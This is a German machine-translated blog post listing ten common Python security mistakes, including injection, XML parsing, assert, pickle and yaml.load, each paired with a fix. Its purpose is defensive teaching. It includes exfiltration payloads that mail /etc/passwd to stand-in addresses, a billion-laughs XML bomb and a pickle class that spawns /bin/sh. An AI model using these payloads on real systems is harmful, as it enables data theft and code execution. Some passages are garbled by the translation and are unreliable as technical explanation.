Hallo allerseits!
Unsere nächste
Python- Gruppe hat am Montag erfolgreich begonnen, aber wir haben noch ein weiteres Material, das wir vor dem Start nicht platzieren konnten. Wir korrigieren unseren Fehler und hoffen, dass es Ihnen gefällt.
Lass uns gehen!
Das Schreiben von sicherem Code ist schwierig. Wenn Sie eine Sprache, ein Modul oder ein Framework lernen, lernen Sie, wie Sie es verwenden. Sie müssen auch darüber nachdenken, wie sie in einem Sicherheitskontext falsch verwendet werden können. Python ist keine Ausnahme, selbst die Dokumentation für die Standardbibliothek enthält Beschreibungen schlechter Schreibpraktiken für sichere Anwendungen. Viele Python-Entwickler sind sich ihrer jedoch einfach nicht bewusst.

Hier sind meine Top 10 (in zufälliger Reihenfolge) der häufigsten Fehler in Python-Anwendungen.
1. Injektion
Es gibt viele Arten von Code-Injection-Angriffen, und sie sind alle ziemlich häufig. Sie betreffen alle Sprachen, Frameworks und Umgebungen.
SQL-Injection ist, wenn Sie SQL-Abfragen direkt schreiben, anstatt ORM zu verwenden, und String-Literale mit Variablen mischen. Ich habe viel Code gelesen, in dem "Escape Quotes" als Fix angesehen wird. Es ist nicht so. Sie können sich mit vielen Möglichkeiten vertraut machen, SQL in diesen
Spickzettel einzubetten.
Befehlsinjektion ist, wenn Sie jederzeit einen Prozess mit popen, subprocess, os.system aufrufen und Argumente von Variablen akzeptieren. Beim Aufrufen lokaler Befehle besteht die Möglichkeit, dass jemand diese Werte auf etwas Bösartiges setzt.
Stellen Sie sich dieses einfache Skript vor. Sie rufen den Unterprozess mit dem vom Benutzer angegebenen Dateinamen auf:
import subprocess def transcode_file(request, filename): command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename) subprocess.call(command, shell=True)
Ein Angreifer setzt den Wert auf Dateiname
"; cat /etc/passwd | mail them@domain.com
oder etwas genauso Gefährliches.
Lösung:Sterilisieren Sie die Eingabe mit den Dienstprogrammen, die mit Ihrem Webframework geliefert werden, falls Sie eines verwenden. Erstellen Sie SQL-Abfragen nicht manuell, es sei denn, Sie haben einen guten Grund. Die meisten ORMs verfügen über integrierte Desinfektionsmethoden.
Verwenden Sie für eine Shell das Shlex-Modul, um den Eingang ordnungsgemäß
abzuschirmen .
2.Parsing XML
Wenn Ihre Anwendung XML-Dateien herunterlädt und analysiert, verwenden Sie wahrscheinlich eines der Standard-XML-Bibliotheksmodule. Es gibt mehrere häufige Angriffe über XML. Meistens im DoS-Stil (zum Löschen des Systems, nicht zum Filtern von Daten). Diese Angriffe treten häufig auf, insbesondere wenn Sie externe (d. H. Nicht vertrauenswürdige) XML-Dateien analysieren.
Einer von ihnen heißt "Milliardenlacher" (wörtlich "Milliardenlacher"), weil die Nutzlast normalerweise viel (Milliarden) "lol" enthält. Grundsätzlich besteht die Idee darin, dass Sie Referenzobjekte in XML erstellen können. Wenn Ihr unprätentiöser XML-Parser versucht, diese Datei in den Speicher zu laden, verbraucht er Gigabyte RAM. Probieren Sie es aus, wenn Sie mir nicht glauben :-)
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
Andere Angriffe verwenden die Erweiterung durch eine externe Entität. XML unterstützt Entitätsreferenzen von externen URLs. Der XML-Parser fordert diese Ressource normalerweise problemlos an und lädt sie. "Ein Angreifer kann Firewalls umgehen und Zugriff auf begrenzte Ressourcen erhalten, da alle Anforderungen von einer internen und zuverlässigen IP-Adresse und nicht von außen gestellt werden."
Eine weitere erwägenswerte Situation sind XML-Dekodierungspakete von Drittanbietern, von denen Sie abhängig sind, z. B. Konfigurationsdateien und Remote-APIs. Sie können nicht einmal vermuten, dass eine Ihrer Abhängigkeiten für diese Art von Angriffen offen ist.
Was ist los in Python? Nun, Standardbibliotheksmodule, etree, DOM, xmlrpc sind für solche Angriffe weit offen. Dies ist hier gut dokumentiert.
Lösung:Verwenden Sie
defusedxml als Ersatz für Standardbibliotheksmodule. Er fügt Abwehrmaßnahmen gegen diese Art von Angriffen hinzu.
3. Anweisungen bestätigen
Verwenden Sie
assert
, um Codefragmente zu schützen, auf die der Benutzer nicht zugreifen sollte. Nehmen Sie dieses einfache Beispiel:
def foo(request, user): assert user.is_admin, “user does not have access”
Standardmäßig wird Python
__debug__
mit
__debug__
gleich true ausgeführt, aber in einer
__debug__
beginnt es normalerweise mit der Optimierung. Die
assert
Anweisung wird übersprungen und das Programm wechselt direkt zum geschützten Code, unabhängig davon, ob der Benutzer is_admin ist oder nicht.
Lösung:Verwenden Sie
assert
Anweisungen nur für die Interaktion mit anderen Entwicklern, z. B. bei Komponententests oder zum Schutz vor falscher Verwendung der API.
4. Vorübergehende Angriffe
Temporäre Angriffe sind im Wesentlichen eine Möglichkeit, das Verhalten und den Algorithmus eines Programms aufzudecken, indem die Zeit bestimmt wird, die zum Vergleichen der bereitgestellten Werte erforderlich ist. Temporäre Angriffe erfordern Genauigkeit, daher funktionieren sie normalerweise nicht in einem Remote-Netzwerk mit hoher Latenz. Aufgrund der variablen Verzögerung, die mit den meisten Webanwendungen verbunden ist, ist es fast unmöglich, einen vorübergehenden Angriff über HTTP-Webserver aufzuzeichnen.
Wenn Sie jedoch eine Befehlszeilenanwendung haben, die nach einem Kennwort fragt, kann ein Angreifer ein einfaches Skript schreiben, um zu berechnen, wie lange es dauert, ihre Werte mit dem tatsächlichen Kennwort zu vergleichen.
Ein Beispiel .
Wenn Sie sehen möchten, wie sie funktionieren, gibt es einige beeindruckende Beispiele, wie zum Beispiel
diesen temporären SSH-Angriff , der in Python geschrieben wurde.
Lösung:Verwenden
secrets.compare_digest
die in Python 3.5 eingeführten secrets.compare_digest
, um Kennwörter und andere private Werte zu vergleichen.
5. Kontaminierte Site-Pakete oder Importpfad
Python hat ein sehr flexibles Importsystem. Dies ist großartig, wenn Sie versuchen, Affen-Patches für Ihre Tests zu schreiben oder die Hauptfunktionen zu überlasten.
Dies ist jedoch eine der größten Sicherheitslücken in Python.
Durch die Installation von Paketen von Drittanbietern in Ihren Site-Paketen, sei es in einer virtuellen Umgebung oder in globalen Site-Paketen (von denen normalerweise abgeraten wird), können Sie Sicherheitslücken in diesen Paketen schließen.
Es gab Fälle, in denen PyPi-Pakete mit Namen veröffentlicht wurden, die den Namen beliebter Pakete ähneln, aber
beliebigen Code ausführen . Der größte Vorfall war glücklicherweise nicht gefährlich und „beendete“ einfach die Tatsache, dass sie das Problem nicht beachteten.
Eine andere Situation, über die Sie nachdenken sollten, sind die Abhängigkeiten Ihrer Abhängigkeiten (usw.). Sie können Schwachstellen enthalten und das Standardverhalten in Python über das Importsystem überschreiben.
Lösung:Überprüfen Sie Ihre Pakete. Schauen Sie sich
PyUp.io und sein Sicherheitsteam
an . Verwenden Sie eine virtuelle Umgebung für alle Anwendungen und stellen Sie sicher, dass Ihre globalen Site-Pakete so sauber wie möglich sind. Überprüfen Sie die Paketsignaturen.
6. Temporäre Dateien
Um temporäre Dateien in Python zu erstellen, generieren Sie normalerweise zuerst den Dateinamen mit der Funktion
mktemp()
und anschließend die Datei mit dem generierten Namen. "Dies ist
unsicher, da ein anderer Prozess zwischen dem
mktemp()
und dem anschließenden Versuch, die Datei durch den ersten Prozess zu erstellen
, eine Datei mit demselben Namen erstellen kann." Dies bedeutet, dass Ihre Anwendung dadurch betrogen werden kann, dass entweder falsche Daten heruntergeladen oder andere temporäre Daten gefährdet werden.
Neuere Versionen von Python zeigen eine Laufzeitwarnung an, wenn Sie die falsche Methode aufrufen.
Lösung:Verwenden Sie das tempfile-Modul und mkstemp, wenn Sie temporäre Dateien erstellen müssen.
7. Verwenden von yaml.load
Zitieren der PyYAML-Dokumentation:
Warnung Es ist nicht sicher, yaml.load mit Daten aufzurufen, die von einer nicht vertrauenswürdigen Quelle empfangen wurden! yaml.load ist genauso effizient wie pickle.load und kann daher jede Python-Funktion aufrufen.Dieses großartige
Beispiel findet sich im beliebten Ansible-Projekt. Sie können Ansible Vault einen Wert als (gültige) YAML zuweisen. Es ruft
os.system()
mit den in der Datei angegebenen Argumenten auf.
!!python/object/apply:os.system ["cat /etc/passwd | mail me@hack.c"]
Wenn Sie YAML-Dateien aus vom Benutzer angegebenen Werten laden, sind Sie daher weitgehend anfällig für Angriffe.
Demonstration in Aktion, danke Anthony Sottile
Lösung:Verwenden Sie
yaml.safe_load
fast immer, es sei denn, Sie haben einen guten Grund, dies nicht zu
yaml.safe_load
.
8. Gurken
Das Deserialisieren von gespeicherten Daten ist genauso schlecht wie YAML. Python-Klassen können eine magische
__reduce__
Methode deklarieren, die eine Zeichenfolge oder ein Tupel mit einem aufrufbaren
__reduce__
zurückgibt, und Argumente übergeben, die bei der
__reduce__
aufgerufen werden sollen. Ein Angreifer kann damit Links zu einem der Unterprozessmodule einfügen, um beliebige Befehle auf dem Host auszuführen.
Dieses
bemerkenswerte Beispiel zeigt, wie eine Klasse beibehalten wird, die eine Shell in Python 2 öffnet. Es
gibt viele weitere Beispiele für die Verwendung von pickle.
import cPickle import subprocess import base64 class RunBinSh(object): def __reduce__(self): return (subprocess.Popen, (('/bin/sh',),)) print base64.b64encode(cPickle.dumps(RunBinSh()))
Lösung:Öffnen Sie niemals Daten aus einer nicht vertrauenswürdigen oder nicht verifizierten Quelle erneut. Verwenden Sie stattdessen ein anderes Serialisierungsmuster, z. B. JSON.
9. Verwenden Sie das Python-Laufzeitsystem und patchen Sie es nicht
Die meisten POSIX-Systeme werden mit einer Version von Python 2 geliefert. Natürlich bereits veraltet.
Da Python, dh CPython, in C geschrieben ist, gibt es Zeiten, in denen der Python-Interpreter selbst Lücken aufweist. Häufige Sicherheitsprobleme in C betreffen die Speicherzuweisung sowie Pufferüberlauffehler.
Im Laufe der Jahre hatte CPython mehrere Sicherheitslücken in Bezug auf Übergröße oder Überlauf, von denen jede in nachfolgenden Versionen behoben und behoben wurde.
Sie sind also in Sicherheit. Genauer gesagt, wenn Sie
Patches für Ihre Laufzeit installieren .
Hier ist ein Beispiel für Version 2.7.13 und niedriger , eine Sicherheitsanfälligkeit
bezüglich Ganzzahlüberlauf, mit der Code ausgeführt werden kann.
Dieses Beispiel gilt für alle Ubuntu bis Version 17 ohne installierte Patches.
Lösung:Installieren Sie die neueste Version von Python für Ihre Kampfanwendungen und
alle Patches!10. Installieren Sie keine Patches für Ihre Abhängigkeiten
So wie Sie keine Patches für Ihre Laufzeit installieren, müssen Sie auch regelmäßig Patches für Ihre Abhängigkeiten installieren.
Ich finde die Praxis, Python-Versionen von PyPi-Paketen in Paketen festzunageln, schrecklich. Die Idee ist, dass "
dies Versionen sind, die funktionieren ", so dass jeder sie in Ruhe lässt.
Alle oben erwähnten Code-Schwachstellen sind genauso wichtig, wenn sie in den von Ihrer Anwendung verwendeten Paketen vorhanden sind. Die Entwickler dieser Pakete beheben Sicherheitsprobleme. Die ganze Zeit.
Lösung:Verwenden Sie Dienste wie PyUp.io, um nach Updates zu suchen, Download- / Zusammenführungsanforderungen in der Anwendung zu konfigurieren und Tests zum Aktualisieren von Paketen auszuführen.
Verwenden Sie
Tools wie InSpec, um installierte Versionen in einer Produktionsumgebung zu überprüfen und Korrekturen für Mindestversionen oder Versionsbereiche bereitzustellen.
Hast du es mit Bandit versucht?Es gibt einen großen statischen Linter, der all diese Probleme in Ihrem Code und vielem mehr findet! Es heißt Bandit,
pip install bandit
einfach
pip install bandit
und
bandit ./codedir
PyCQA / BanditVielen Dank an RedHat für diesen wunderbaren
Artikel, den ich in einigen meiner Forschungen verwendet habe.
DAS ENDE!
Wie immer freuen wir uns über Ihre Kommentare und Fragen :)